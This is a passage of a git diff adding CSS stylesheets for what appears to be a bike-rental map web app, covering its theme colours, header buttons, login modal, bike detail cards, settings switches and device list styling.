var(--text-secondary); font-size: 11px; line-height: 1.7; padding: 12px 16px; border-top: 1px solid var(--border-color); } +.settings-save-status { min-height: 32px; margin: 10px 4px 22px; color: var(--text-secondary); font-size: 11px; line-height: 1.65; } +.settings-switch { position: relative; flex: 0 0 48px; width: 48px; height: 28px; } +.settings-switch input { position: absolute; inset: 0; width: 100%; height: 100%; opacity: 0; cursor: pointer; z-index: 1; margin: 0; } +.settings-switch-track { display: block; width: 48px; height: 28px; border-radius: 20px; background: var(--text-tertiary); transition: background 160ms ease; } +.settings-switch-track::after { + content: ''; position: absolute; top: 3px; left: 3px; width: 22px; height: 22px; + border-radius: 50%; background: #fff; box-shadow: 0 1px 3px rgba(0,0,0,.18); transition: transform 160ms ease; +} +.settings-switch input:checked + .settings-switch-track { background: #32a673; } +.settings-switch input:checked + .settings-switch-track::after { transform: translateX(20px); } +.settings-switch input:focus-visible + .settings-switch-track { outline: 2px solid var(--text-primary); outline-offset: 4px; } +.settings-link-row { width: 100%; border: 0; background: transparent; color: var(--text-secondary); cursor: pointer; } +.settings-link-row:hover { background: var(--bg-card); } +@media (max-width: 540px) { + .settings-page-header { min-height: 60px; padding: max(12px, env(safe-area-inset-top)) 16px 12px; } + .settings-view { padding: 22px 16px max(28px, env(safe-area-inset-bottom)); } + .settings-page .settings-link-row { padding: 16px; } + #settings-modal .map-settings-content { width: 100%; max-width: 100%; height: 100%; max-height: 100%; border-radius: 0 !important; } + .map-settings-header { padding-top: max(18px, env(safe-area-inset-top)); } + .settings-body { padding-bottom: max(28px, env(safe-area-inset-bottom)); } +} +@media (prefers-reduced-motion: reduce) { + .settings-switch-track, .settings-switch-track::after { transition: none; } +} diff --git a/static/css/map.css b/static/css/map.css new file mode 100644 index 0000000..663936c --- /dev/null +++ b/static/css/map.css @@ -0,0 +1,2706 @@ + :root { + --bg-primary: #ffffff; + --bg-secondary: #f5f5f7; + --bg-card: #ffffff; + --text-primary: #1d1d1f; + --text-secondary: #6e6e73; + --text-tertiary: #86868b; + --border-color: #e5e5ea; + --accent-color: #0071e3; + --accent-hover: #0077ed; + --accent-soft: rgba(0, 113, 227, 0.10); + --success: #34c759; + --success-press: #2fb950; + --warning: #ff9f0a; + --danger: #ff3b30; + --error-color: #ff3b30; + --overlay: rgba(0, 0, 0, 0.45); + --shadow-sm: 0 2px 8px rgba(0,0,0,0.08); + --shadow-md: 0 4px 20px rgba(0,0,0,0.12); + --shadow-lg: 0 8px 32px rgba(0,0,0,0.16); + --shadow-up: 0 -4px 20px rgba(0,0,0,0.08); + --radius-sm: 8px; + --radius-md: 12px; + --radius-lg: 16px; + --radius-xl: 20px; + --transition: 0.3s cubic-bezier(0.4, 0, 0.2, 1); + --ease-spring: cubic-bezier(0.34, 1.3, 0.5, 1); + } + + @media (prefers-color-scheme: dark) { + :root { + --bg-primary: #000000; + --bg-secondary: #1c1c1e; + --bg-card: #2c2c2e; + --text-primary: #f5f5f7; + --text-secondary: #98989d; + --text-tertiary: #636366; + --border-color: #38383a; + --accent-color: #0a84ff; + --accent-hover: #409cff; + --accent-soft: rgba(10, 132, 255, 0.16); + --success: #30d158; + --success-press: #28bd4d; + --warning: #ff9f0a; + --danger: #ff453a; + --error-color: #ff453a; + --overlay: rgba(0, 0, 0, 0.6); + --shadow-sm: 0 2px 8px rgba(0,0,0,0.3); + --shadow-md: 0 4px 20px rgba(0,0,0,0.4); + --shadow-lg: 0 8px 32px rgba(0,0,0,0.5); + --shadow-up: 0 -4px 20px rgba(0,0,0,0.4); + } + } + + * { margin: 0; padding: 0; box-sizing: border-box; } + + button { font-family: inherit; } + button:focus-visible, input:focus-visible, a:focus-visible { + outline: 2px solid var(--accent-color); + outline-offset: 2px; + } + ::selection { background: var(--accent-soft); } + + /* 细滚动条(弹窗内容区) */ + .auth-content::-webkit-scrollbar, + .bell-content::-webkit-scrollbar, + .share-content::-webkit-scrollbar, + .devices-list::-webkit-scrollbar, + .packages-list::-webkit-scrollbar, + .version-log::-webkit-scrollbar { width: 4px; } + .auth-content::-webkit-scrollbar-thumb, + .bell-content::-webkit-scrollbar-thumb, + .share-content::-webkit-scrollbar-thumb, + .devices-list::-webkit-scrollbar-thumb, + .packages-list::-webkit-scrollbar-thumb, + .version-log::-webkit-scrollbar-thumb { + background: var(--border-color); + border-radius: 2px; + } + + html, body { + height: 100%; + overflow: hidden; + -webkit-overflow-scrolling: touch; + } + + body { + font-family: -apple-system, BlinkMacSystemFont, "SF Pro Display", "Segoe UI", "PingFang SC", "Microsoft YaHei", sans-serif; + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; + background: var(--bg-primary); + color: var(--text-primary); + display: flex; + flex-direction: column; + transition: background var(--transition), color var(--transition); + position: fixed; + width: 100%; + height: 100%; + } + + /* Header */ + .header { + background: var(--bg-secondary); + background: color-mix(in srgb, var(--bg-secondary) 86%, transparent); + -webkit-backdrop-filter: blur(20px); + backdrop-filter: blur(20px); + padding: 14px 20px; + display: flex; + align-items: center; + justify-content: space-between; + flex-shrink: 0; + z-index: 100; + border-bottom: 1px solid var(--border-color); + } + .header-title { + font-size: 17px; + font-weight: 600; + letter-spacing: -0.3px; + } + .header-sub { + font-size: 12px; + color: var(--text-secondary); + margin-top: 2px; + } + .header-right { + display: flex; + align-items: center; + gap: 10px; + text-align: right; + } + .refresh-btn { + width: 34px; + height: 34px; + border-radius: 50%; + background: var(--ui-acrylic-soft); + border: 1px solid var(--ui-line-strong); + color: var(--text-secondary); + cursor: pointer; + display: flex; + align-items: center; + justify-content: center; + transition: all 0.2s; + box-shadow: var(--shadow-sm); + -webkit-backdrop-filter: blur(18px) saturate(1.3); + backdrop-filter: blur(18px) saturate(1.3); + } + .refresh-btn:hover { + background: var(--ui-acrylic); + color: var(--accent-color); + } + .refresh-btn:active { + transform: scale(0.95); + } + .bell-btn { + width: 34px; + height: 34px; + border-radius: 50%; + background: var(--ui-acrylic-soft); + border: 1px solid var(--ui-line-strong); + color: var(--text-secondary); + cursor: pointer; + display: flex; + align-items: center; + justify-content: center; + transition: all 0.2s; + box-shadow: var(--shadow-sm); + -webkit-backdrop-filter: blur(18px) saturate(1.3); + backdrop-filter: blur(18px) saturate(1.3); + } + .bell-btn:hover { + background: var(--ui-acrylic); + color: #ff9500; + } + .bell-btn:active { + transform: scale(0.95); + } + .refresh-btn.spinning svg { + animation: spin 0.8s linear infinite; + } + .auth-btn { + padding: 6px 14px; + border-radius: 16px; + background: var(--accent-color); + border: none; + color: var(--accent-contrast); + font-size: 13px; + font-weight: 500; + cursor: pointer; + transition: all 0.2s; + } + .auth-btn:hover { + background: var(--accent-hover); + } + /* 登录后的头像样式 */ + .auth-btn.logged-in { + padding: 0; + width: 34px; + height: 34px; + border-radius: 50%; + background: var(--ui-acrylic-soft); + background-image: none; + border: 1px solid var(--ui-line-strong); + display: flex; + align-items: center; + justify-content: center; + color: var(--text-primary); + font-size: 14px; + font-weight: 600; + box-shadow: var(--shadow-sm); + -webkit-backdrop-filter: blur(18px) saturate(1.3); + backdrop-filter: blur(18px) saturate(1.3); + } + .auth-btn.logged-in:hover { + transform: scale(1.05); + background: var(--ui-acrylic); + border-color: var(--ui-line-strong); + box-shadow: var(--shadow-md); + } + .auth-btn.logged-in .avatar-text { + display: block; + } + .auth-btn.logged-in .btn-text { + display: none; + } + @keyframes spin { + from { transform: rotate(0deg); } + to { transform: rotate(360deg); } + } + .header-badge { + display: inline-flex; + align-items: center; + gap: 6px; + background: var(--ui-acrylic-soft); + padding: 6px 12px; + border-radius: 20px; + font-size: 13px; + font-weight: 500; + box-shadow: var(--shadow-sm); + border: 1px solid var(--ui-line-strong); + -webkit-backdrop-filter: blur(18px) saturate(1.3); + backdrop-filter: blur(18px) saturate(1.3); + } + .header-badge .dot { + width: 8px; + height: 8px; + background: #34c759; + border-radius: 50%; + animation: pulse 2s infinite; + } + /* 数据偏旧:时间戳标黄(超过采集间隔阈值时 JS 加 stale 类) */ + .header-badge #update-time.stale { + color: #b45309; + font-weight: 600; + } + .header-badge #update-time.stale::after { + content: " ·偏旧"; + font-size: 11px; + font-weight: 500; + } + @keyframes pulse { + 0%, 100% { opacity: 1; } + 50% { opacity: 0.5; } + } + + /* 地图容器 */ + #map-container { + flex: 1; + position: relative; + overflow: hidden; + touch-action: pan-x pan-y; + -webkit-touch-callout: none; + -webkit-user-select: none; + user-select: none; + } + #baidu_map { + width: 100%; + height: 100%; + touch-action: none; + } + + /* 加载遮罩 */ + .loading-overlay { + position: absolute; + top: 0; left: 0; right: 0; bottom: 0; + background: var(--bg-primary); + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + z-index: 50; + transition: opacity 0.4s, background var(--transition); + } + .loading-overlay.hidden { + opacity: 0; + pointer-events: none; + } + .loading-spinner { + width: 36px; + height: 36px; + border: 3px solid var(--border-color); + border-top-color: var(--accent-color); + border-radius: 50%; + animation: spin 0.8s linear infinite; + } + @keyframes spin { to { transform: rotate(360deg); } } + .loading-text { + margin-top: 14px; + font-size: 14px; + color: var(--text-secondary); + } + + /* 统计卡片 */ + .stats-card { + position: absolute; + top: 14px; + left: 14px; + background: var(--bg-card); + background: color-mix(in srgb, var(--bg-card) 88%, transparent); + -webkit-backdrop-filter: blur(16px); + backdrop-filter: blur(16px); + padding: 12px; + border-radius: var(--radius-md); + box-shadow: var(--shadow-md); + z-index: 50; + border: 1px solid var(--border-color); + } + .stats-number { + font-size: 28px; + font-weight: 700; + color: var(--text-primary); + line-height: 1; + } + .stats-label { + font-size: 12px; + color: var(--text-secondary); + margin-top: 4px; + } + .stats-analysis-btn { + padding: 6px 10px; + background: var(--bg-secondary); + border: 1px solid var(--border-color); + border-radius: 6px; + font-size: 12px; + color: var(--accent-color); + cursor: pointer; + display: flex; + align-items: center; + gap: 4px; + width: 100%; + justify-content: center; + transition: all 0.2s; + } + .stats-analysis-btn:hover { + background: var(--accent-color); + color: var(--accent-contrast); + border-color: var(--accent-color); + } + + /* 图例 */ + .legend { + position: absolute; + top: 14px; + right: 14px; + background: var(--bg-card); + background: var(--ui-acrylic); + -webkit-backdrop-filter: blur(20px) saturate(1.35); + backdrop-filter: blur(20px) saturate(1.35); + border-radius: var(--radius-md); + padding: 12px 14px; + z-index: 50; + box-shadow: var(--shadow-md); + border: 1px solid var(--ui-line-strong); + } + .legend-title { + font-size: 11px; + font-weight: 600; + color: var(--text-tertiary); + text-transform: uppercase; + letter-spacing: 0.5px; + margin-bottom: 10px; + } + .legend-item { + display: flex; + align-items: center; + gap: 8px; + margin-bottom: 7px; + } + .legend-item:last-child { margin-bottom: 0; } + .legend-ring { + width: 14px; + height: 14px; + border-radius: 50%; + display: flex; + align-items: center; + justify-content: center; + background: var(--bg-secondary); + } + .legend-ring::after { + content: ''; + width: 8px; + height: 8px; + border-radius: 50%; + } + .legend-ring.available::after { background: #34c759; } + .legend-ring.used::after { background: #ff2d55; } + .legend-ring.locked::after { background: #ff9f0a; } + .legend-ring.reserved::after { background: #5856D6; } + .legend-ring.low::after { background: #8e8e93; } + .legend-text { + font-size: 13px; + color: var(--text-secondary); + } + .locate-btn { + width: 100%; + padding: 8px 12px; + background: var(--accent-color); + color: var(--accent-contrast); + border: none; + border-radius: 6px; + font-size: 12px; + font-weight: 600; + cursor: pointer; + transition: all var(--transition); + /* 图标与文字垂直居中对齐(SVG 默认按基线排会错位) */ + display: flex; + align-items: center; + justify-content: center; + gap: 5px; + } + .locate-btn:active { + transform: scale(0.96); + background: var(--accent-hover); + } + .locate-btn:disabled { + background: var(--text-tertiary); + cursor: not-allowed; + } + /* 找最近的车:独立悬浮(右下角),材质与四角元素统一(轻质亚克力) */ + .locate-fab { + position: fixed; + right: 14px; + bottom: 96px; + width: auto; + padding: 8px 14px; + border-radius: 18px; + z-index: 150; + background: var(--ui-header-acrylic, var(--bg-card)); + border: 1px solid var(--ui-line-strong); + color: var(--text-secondary); + opacity: .92; + box-shadow: var(--ui-shadow-sm, var(--shadow-sm)); + -webkit-backdrop-filter: blur(24px) saturate(1.4); + backdrop-filter: blur(24px) saturate(1.4); + transition: opacity .2s, transform .15s; + } + .locate-fab:hover { + opacity: 1; + } + .locate-btn.locate-fab:active { + background: var(--ui-header-acrylic, var(--bg-card)); + transform: scale(0.96); + } + /* 手机端:只保留图标,正圆形 */ + @media (max-width: 768px) { + .locate-fab { + width: 34px; + height: 34px; + padding: 0; + border-radius: 50%; + justify-content: center; + } + .locate-fab-label { display: none; } + } + + /* 底部扫码栏 */ + .scan-bar { + position: absolute; + bottom: 0; + left: 0; + right: 0; + background: var(--bg-card); + padding: 16px 20px; + padding-bottom: calc(16px + env(safe-area-inset-bottom, 0px)); + display: flex; + gap: 12px; + align-items: center; + z-index: 90; + border-top: 1px solid var(--border-color); + box-shadow: var(--shadow-up); + touch-action: none; + } + .scan-input { + flex: 1; + padding: 14px 16px; + border: 1.5px solid var(--border-color); + border-radius: var(--radius-md); + font-size: 15px; + background: var(--bg-secondary); + color: var(--text-primary); + outline: none; + transition: all var(--transition); + } + .scan-input::placeholder { + color: var(--text-tertiary); + } + .scan-input:focus { + border-color: var(--accent-color); + background: var(--bg-card); + } + .scan-btn { + padding: 14px 22px; + background: var(--accent-color); + color: var(--accent-contrast); + border: none; + border-radius: var(--radius-md); + font-size: 15px; + font-weight: 600; + cursor: pointer; + white-space: nowrap; + transition: all var(--transition); + } + .scan-btn:active { + transform: scale(0.96); + background: var(--accent-hover); + } + + /* 车辆详情卡片 */ + .bike-card { + position: absolute; + bottom: 0; + left: 0; + right: 0; + background: var(--bg-card); + border-radius: var(--radius-xl) var(--radius-xl) 0 0; + padding: 20px; + padding-bottom: calc(20px + env(safe-area-inset-bottom, 0px)); + box-shadow: var(--shadow-lg); + z-index: 200; + transform: translateY(100%); + transition: transform 0.4s cubic-bezier(0.4, 0, 0.2, 1); + border: 1px solid var(--border-color); + border-bottom: none; + touch-action: pan-x; + } + .bike-card.show { + transform: translateY(0); + } + /* 遮罩层 */ + .card-overlay { + position: fixed; + inset: 0; + background: rgba(0, 0, 0, 0.3); + z-index: 199; + opacity: 0; + pointer-events: none; + transition: opacity 0.3s; + } + .card-overlay.show { + opacity: 1; + pointer-events: auto; + } + + .card-handle { + width: 36px; + height: 5px; + background: var(--border-color); + border-radius: 3px; + margin: 0 auto 16px; + } + + .bike-card-header { + display: flex; + justify-content: space-between; + align-items: center; + margin-bottom: 20px; + } + .bike-card-header-btns { + display: flex; + align-items: center; + gap: 8px; + } + .bike-card-find-btn { + padding: 6px 12px; + border-radius: var(--radius-md); + background: var(--bg-secondary); + border: 1.5px solid var(--border-color); + color: var(--text-primary); + cursor: pointer; + display: flex; + align-items: center; + gap: 5px; + font-size: 13px; + font-weight: 600; + transition: all var(--transition); + } + .bike-card-find-btn:active { + background: var(--border-color); + transform: scale(0.95); + } + .bike-card-title { + display: flex; + align-items: center; + gap: 10px; + } + .bike-type-badge { + display: inline-flex; + align-items: center; + padding: 6px 14px; + border-radius: 20px; + font-size: 13px; + font-weight: 600; + color: white; + background: linear-gradient(135deg, #ff9f0a, #ff6b00); + } + /* 车辆类型角标:红车=柔和砖红 / 大车=橙 / 小车=蓝灰 */ + .bike-type-badge.kind-red { + background: linear-gradient(135deg, #C07A72, #A9554C); + } + .bike-type-badge.kind-big { + background: linear-gradient(135deg, #ff9f0a, #ff6b00); + } + .bike-type-badge.kind-small { + background: linear-gradient(135deg, #7C93A8, #5C7387); + } + .bike-code { + font-size: 22px; + color: var(--text-primary); + font-weight: 700; + } + .bike-card-close { + width: 30px; + height: 30px; + border-radius: 50%; + background: var(--bg-secondary); + border: none; + font-size: 14px; + color: var(--text-secondary); + cursor: pointer; + display: flex; + align-items: center; + justify-content: center; + transition: all var(--transition); + } + .bike-card-close:hover { + background: var(--border-color); + color: var(--text-primary); + } + .bike-card-close:active { + transform: scale(0.92); + } + + .bike-electric-ring { + display: none; + } + + /* 电量+状态同行 */ + .bike-status-row { + display: flex; + align-items: center; + justify-content: space-between; + background: var(--bg-secondary); + border-radius: var(--radius-md); + padding: 14px 16px; + margin-bottom: 20px; + } + .bike-battery-wrap { + display: flex; + align-items: center; + gap: 8px; + } + .battery-svg-wrap { + position: relative; + display: flex; + align-items: center; + } + .battery-label { + font-size: 15px; + font-weight: 700; + color: var(--text-primary); + } + .bike-status-wrap { + display: flex; + flex-direction: column; + align-items: flex-end; + gap: 2px; + } + .bike-status-label { + font-size: 11px; + color: var(--text-tertiary); + } + .bike-status-value { + font-size: 15px; + font-weight: 700; + color: var(--text-primary); + } + .bike-status-value.highlight { color: #34c759; } + .bike-status-value.warning { color: #ff9f0a; } + + .bike-info-grid { + display: grid; + grid-template-columns: 1fr; + gap: 10px; + margin-bottom: 20px; + } + .bike-info-item { + background: var(--bg-secondary); + border-radius: var(--radius-md); + padding: 12px; + text-align: center; + } + .bike-info-label { + font-size: 11px; + color: var(--text-tertiary); + margin-bottom: 4px; + text-transform: uppercase; + letter-spacing: 0.3px; + } + .bike-info-value { + font-size: 15px; + font-weight: 600; + color: var(--text-primary); + } + .bike-info-value.highlight { color: #34c759; } + .bike-info-value.warning { color: #ff9f0a; } + + .bike-action-btn { + width: 100%; + padding: 16px; + background: var(--accent-color); + color: var(--accent-contrast); + border: none; + border-radius: var(--radius-md); + font-size: 17px; + font-weight: 600; + cursor: pointer; + transition: all var(--transition); + } + .bike-action-btn:active { + transform: scale(0.98); + background: var(--accent-hover); + } + .bike-find-btn { + width: 100%; + padding: 14px; + margin-top: 10px; + background: var(--bg-secondary); + color: var(--text-primary); + border: 1.5px solid var(--border-color); + border-radius: var(--radius-md); + font-size: 16px; + font-weight: 600; + cursor: pointer; + transition: all var(--transition); + } + .bike-find-btn:active { + transform: scale(0.98); + background: var(--border-color); + } + .bike-find-btn:disabled { + opacity: 0.6; + cursor: not-allowed; + } + + .toast { + position: fixed; + top: 80px; + left: 50%; + transform: translateX(-50%) translateY(-20px); + background: var(--bg-card); + background: color-mix(in srgb, var(--bg-card) 92%, transparent); + -webkit-backdrop-filter: blur(16px); + backdrop-filter: blur(16px); + color: var(--text-primary); + padding: 12px 24px; + border-radius: 999px; + font-size: 14px; + z-index: 9999; + opacity: 0; + transition: all 0.3s; + pointer-events: none; + box-shadow: var(--shadow-lg); + border: 1px solid var(--border-color); + max-width: 86vw; + text-align: center; + } + .toast.show { + opacity: 1; + transform: translateX(-50%) translateY(0); + } + + /* 二维码弹窗 */ + .qr-modal { + position: fixed; + top: 0; left: 0; right: 0; bottom: 0; + background: var(--overlay); + -webkit-backdrop-filter: blur(8px); + backdrop-filter: blur(8px); + display: flex; + align-items: center; + justify-content: center; + z-index: 1000; + opacity: 0; + pointer-events: none; + transition: opacity 0.3s; + } + .qr-modal.show { + opacity: 1; + pointer-events: auto; + } + .qr-content { + background: var(--bg-card); + border-radius: var(--radius-xl); + padding: 24px; + width: 280px; + box-shadow: var(--shadow-lg); + } + .qr-header { + display: flex; + justify-content: space-between; + align-items: center; + margin-bottom: 16px; + font-size: 17px; + font-weight: 700; + letter-spacing: -0.3px; + } + .qr-close { + width: 30px; + height: 30px; + border-radius: 50%; + background: var(--bg-secondary); + border: none; + font-size: 15px; + color: var(--text-secondary); + cursor: pointer; + display: flex; + align-items: center; + justify-content: center; + transition: all 0.2s; + } + .qr-close:hover { background: var(--border-color); color: var(--text-primary); } + .qr-close:active { transform: scale(0.92); } + + /* 登录弹窗 */ + .auth-modal { + display: none; + position: fixed; + top: 0; + left: 0; + right: 0; + bottom: 0; + z-index: 3500; + } + .auth-modal.show { + display: block; + } + .auth-overlay { + position: absolute; + top: 0; + left: 0; + right: 0; + bottom: 0; + background: var(--overlay); + -webkit-backdrop-filter: blur(8px); + backdrop-filter: blur(8px); + } + .auth-content { + position: absolute; + top: 50%; + left: 50%; + transform: translate(-50%, -50%); + background: var(--bg-card); + border-radius: var(--radius-xl); + padding: 24px; + width: 300px; + max-width: 90%; + /* 高度上限用相对全屏遮罩的百分比,不用 vh:部分安卓 WebView 里 vh 会解析成极小值, + 会让弹窗塌缩成只剩标题条(内容仍可滚动)。百分比在真机上实测是正确的。 */ + max-height: calc(100% - 32px); + overflow-y: auto; + -webkit-overflow-scrolling: touch; + box-shadow: var(--shadow-lg); + } + .auth-header { + display: flex; + justify-content: space-between; + align-items: center; + margin-bottom: 16px; + font-size: 17px; + font-weight: 700; + letter-spacing: -0.3px; + } + .auth-close { + width: 30px; + height: 30px; + border-radius: 50%; + background: var(--bg-secondary); + border: none; + font-size: 14px; + color: var(--text-secondary); + cursor: pointer; + display: flex; + align-items: center; + justify-content: center; + transition: all 0.2s; + } + .auth-close:hover { background: var(--border-color); color: var(--text-primary); } + .auth-close:active { transform: scale(0.92); } + .auth-field { + margin-bottom: 12px; + } + .auth-field input { + width: 100%; + padding: 12px 14px; + border: 1.5px solid var(--border-color); + border-radius: var(--radius-sm); + font-size: 15px; + background: var(--bg-secondary); + color: var(--text-primary); + outline: none; + transition: border-color 0.2s, box-shadow 0.2s, background 0.2s; + } + .auth-field input:focus { + border-color: var(--accent-color); + background: var(--bg-card); + box-shadow: 0 0 0 3px var(--accent-soft); + } + .auth-tip { + color: var(--error-color); + font-size: 13px; + margin-bottom: 12px; + min-height: 18px; + } + .auth-submit { + width: 100%; + padding: 12px; + background: var(--accent-color); + color: var(--accent-contrast); + border: none; + border-radius: var(--radius-md); + font-size: 15px; + font-weight: 600; + cursor: pointer; + transition: background 0.2s, transform 0.15s, opacity 0.2s; + } + .auth-submit:hover { background: var(--accent-hover); } + .auth-submit:active { transform: scale(0.97); } + .auth-submit:disabled { + opacity: 0.55; + cursor: not-allowed; + transform: none; + } + /* 语义变体:与主色按钮同一套尺寸/圆角/交互 */ + .auth-submit.success { background: var(--success); } + .auth-submit.success:hover { background: var(--success-press); } + .auth-submit.danger { background: var(--danger); } + .auth-submit.warning { background: var(--warning); } + .auth-submit.ghost { + background: transparent; + color: var(--text-secondary); + border: 1.5px solid var(--border-color); + } + .auth-submit.ghost:hover { background: var(--bg-secondary); color: var(--text-primary); } + .auth-submit.ghost:active { background: var(--border-color); } + .auth-hint { + margin-top: 12px; + font-size: 12px; + color: var(--text-tertiary); + text-align: center; + } + .auth-hint a { + color: var(--accent-color); + text-decoration: none; + } + .auth-hint a:hover { + text-decoration: underline; + } + + /* ===== 全屏登录门:未登录时覆盖地图 ===== */ + .login-gate { + position: fixed; + inset: 0; + z-index: 3000; + background: var(--bg-primary); + display: none; + align-items: center; + justify-content: center; + padding: 24px; + } + .login-gate.show { display: flex; } + .login-gate-card { + width: 320px; + max-width: 92vw; + background: var(--bg-card); + border: 1px solid var(--border-color); + border-radius: var(--radius-xl); + box-shadow: var(--shadow-lg); + padding: 28px 24px; + text-align: center; + } + .login-gate.show .login-gate-card { animation: modalPopIn 0.32s var(--ease-spring) both; } + .login-gate-logo { + width: 56px; + height: 56px; + margin: 0 auto 14px; + border-radius: 18px; + background: linear-gradient(135deg, var(--accent-color), var(--accent-hover)); + display: flex; + align-items: center; + justify-content: center; + color: var(--accent-contrast); + box-shadow: 0 4px 16px rgba(0, 113, 227, 0.35); + } + .login-gate-title { + font-size: 20px; + font-weight: 700; + letter-spacing: -0.3px; + color: var(--text-primary); + } + .login-gate-sub { + font-size: 13px; + color: var(--text-secondary); + margin: 6px 0 20px; + } + .login-gate-card .auth-field { text-align: left; } + .login-gate-footer { + margin-top: 14px; + font-size: 13px; + color: var(--text-tertiary); + } + .login-gate-footer a { + color: var(--accent-color); + text-decoration: none; + font-weight: 500; + } + .login-gate-footer a:hover { text-decoration: underline; } + + /* ===== 统一弹窗动效:所有居中弹窗共用同一套入场 ===== */ + @keyframes modalCenterIn { + from { opacity: 0; transform: translate(-50%, -50%) scale(0.9); } + to { opacity: 1; transform: translate(-50%, -50%) scale(1); } + } + @keyframes modalPopIn { + from { opacity: 0; transform: scale(0.9) translateY(10px); } + to { opacity: 1; transform: scale(1) translateY(0); } + } + .auth-modal.show .auth-content { animation: modalCenterIn 0.32s var(--ease-spring) both; } + .bell-modal.show .bell-content { animation: modalCenterIn 0.32s var(--ease-spring) both; } + .return-modal.show .return-content { animation: modalCenterIn 0.32s var(--ease-spring) both; } + .token-expired-modal.show .token-expired-content { animation: modalPopIn 0.32s var(--ease-spring) both; } + .qr-modal.show .qr-content { animation: modalPopIn 0.32s var(--ease-spring) both; } + .return-confirm-modal.show .return-confirm-content { animation: modalPopIn 0.32s var(--ease-spring) both; } + .unlock-confirm-modal.show .unlock-confirm-content { animation: modalPopIn 0.32s var(--ease-spring) both; } + .lost-modal.show .lost-modal-content { animation: modalPopIn 0.32s var(--ease-spring) both; } + + /* 个人中心样式 */ + .profile-info { + display: flex; + align-items: center; + gap: 15px; + padding: 15px 0; + border-bottom: 1px solid var(--border-color); + margin-bottom: 15px; + } + .profile-avatar { + width: 50px; + height: 50px; + border-radius: 50%; + background: linear-gradient(135deg, var(--accent-color), var(--accent-hover)); + display: flex; + align-items: center; + justify-content: center; + color: var(--accent-contrast); + font-size: 20px; + font-weight: 600; + } + .profile-email { + font-size: 13px; + color: var(--text-tertiary); + word-break: break-all; + } + .profile-name { + font-size: 16px; + font-weight: 600; + color: var(--text-primary); + margin-bottom: 4px; + } + /* 消费统计 */ + .profile-stats { + display: flex; + gap: 15px; + margin-bottom: 15px; + padding: 15px; + background: var(--bg-secondary); + border: 1px solid var(--border-color); + border-radius: var(--radius-md); + } + .stat-item { + flex: 1; + text-align: center; + } + .stat-value { + font-size: 22px; + font-weight: 700; + color: var(--accent-color); + } + .stat-label { + font-size: 12px; + color: var(--text-secondary); + margin-top: 2px; + } + .profile-auth-hint { + display: flex; + align-items: center; + gap: 6px; + font-size: 12px; + color: var(--warning); + margin-bottom: 12px; + padding: 10px; + background: rgba(255, 149, 0, 0.10); + border: 1px solid rgba(255, 149, 0, 0.25); + border-radius: var(--radius-sm); + } + /* 快捷入口按钮 */ + .profile-quick-btns { + display: flex; + gap: 10px; + margin-bottom: 10px; + } + .profile-quick-btn { + flex: 1; + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + gap: 6px; + padding: 14px 8px 12px; + background: var(--bg-secondary); + border: 1px solid var(--border-color); + border-radius: var(--radius-md); + font-size: 13px; + color: var(--text-primary); + cursor: pointer; + transition: all 0.2s; + } + .profile-quick-btn:hover { + background: var(--bg-card); + border-color: var(--accent-color); + } + .profile-quick-btn:active { transform: scale(0.96); } + .profile-quick-btn svg { + color: var(--accent-color); + } + /* 设备管理入口按钮 */ + .profile-secondary-btn { + width: 100%; + display: flex; + align-items: center; + justify-content: center; + gap: 8px; + padding: 12px; + margin-bottom: 10px; + background: var(--accent-soft); + border: 1px solid transparent; + border-radius: var(--radius-md); + font-size: 14px; + font-weight: 500; + color: var(--accent-color); + cursor: pointer; + transition: all 0.2s; + } + .profile-secondary-btn:hover { + background: var(--accent-color); + color: var(--accent-contrast); + } + .profile-secondary-btn:hover svg { color: var(--accent-contrast); } + .profile-secondary-btn:active { transform: scale(0.98); } + .profile-secondary-btn svg { + color: var(--accent-color); + } + .rental-settings-note { + margin: 0 0 14px; + padding: 11px 12px; + border-radius: 9px; + background: rgba(255, 149, 0, 0.12); + color: var(--text-secondary); + font-size: 12px; + line-height: 1.6; + } + .rental-setting-row { + display: flex; + align-items: center; + justify-content: space-between; + gap: 16px; + padding: 12px 0; + border-bottom: 1px solid var(--border-color); + color: var(--text-primary); + font-size: 14px; + } + .rental-setting-row input[type="checkbox"] { width: 20px; height: 20px; accent-color: var(--accent-color); } + .rental-setting-row input[type="number"] { + width: 84px; padding: 8px 10px; border: 1px solid var(--border-color); + border-radius: 8px; background: var(--bg-secondary); color: var(--text-primary); text-align: center; + } + .reminder-minute-options { display:flex; flex-wrap:wrap; gap:8px; margin:12px 0 16px; } + .reminder-minute-options label { + display:flex; align-items:center; gap:5px; padding:8px 10px; border-radius:8px; + background:var(--bg-secondary); color:var(--text-primary); font-size:13px; + } + .reminder-minute-options input { width:17px; height:17px; accent-color:var(--accent-color); } + /* 登录设备管理 */ + .devices-tip { + font-size: 12px; + color: var(--text-secondary); + margin-bottom: 10px; + padding: 8px 10px; + background: var(--bg-secondary); + border: 1px solid var(--border-color); + border-radius: var(--radius-sm); + line-height: 1.5; + } + .devices-list { + display: flex; + flex-direction: column; + gap: 8px; + /* 设备列表跟着弹窗高度伸缩:弹窗本身已限高,这里再用 vh 会被部分 WebView 解析成极小值 */ + flex: 1 1 auto; + min-height: 0; + overflow-y: auto; + } + .device-row { + display: flex; + align-items: center; + gap: 8px; + padding: 10px; + background: var(--bg-secondary); + border: 1px solid var(--border-color); + border-radius: var(--radius-sm); + } + .device-main { + flex: 1; + min-width: 0; + } + .device-name { + font-size: 14px; + font-weight: 600; + color: var(--text-primary); + word-break: break-all; + } + .device-badge { + display: inline-block; + font-size: 11px; + color: var(--accent-contrast); + background: var(--accent-color); + padding: 1px 6px; + border-radius: 8px; + margin-left: 4px; + vertical-align: 1px; + } + .device-meta { + font-size: 11px; + color: var(--text-secondary); + margin-top: 2px; + } + .device-kick { + flex-shrink: 0; + padding: 6px 12px; + background: var(--danger); + color: #fff; + border: none; + border-radius: var(--radius-sm); + font-size: 12px; + font-weight: 500; + cursor: pointer; + transition: all 0.2s; + } + .device-kick:active { transform: scale(0.95); } + .device-loading, + .devices-empty { + color: var(--text-tertiary); + text-align: center; + padding: 18px; + font-size: 13px; + } + /* 凭证弹窗描述 */ + .auth-desc { + font-size: 13px; + color: var(--text-secondary); + margin-bottom: 15px; + padding: 10px; + background: var(--bg-secondary); + border: 1px solid var(--border-color); + border-radius: var(--radius-sm); + line-height: 1.5; + } + .profile-section { + margin-bottom: 15px; + } + .profile-section input { + width: 100%; + padding: 12px 14px; + border: 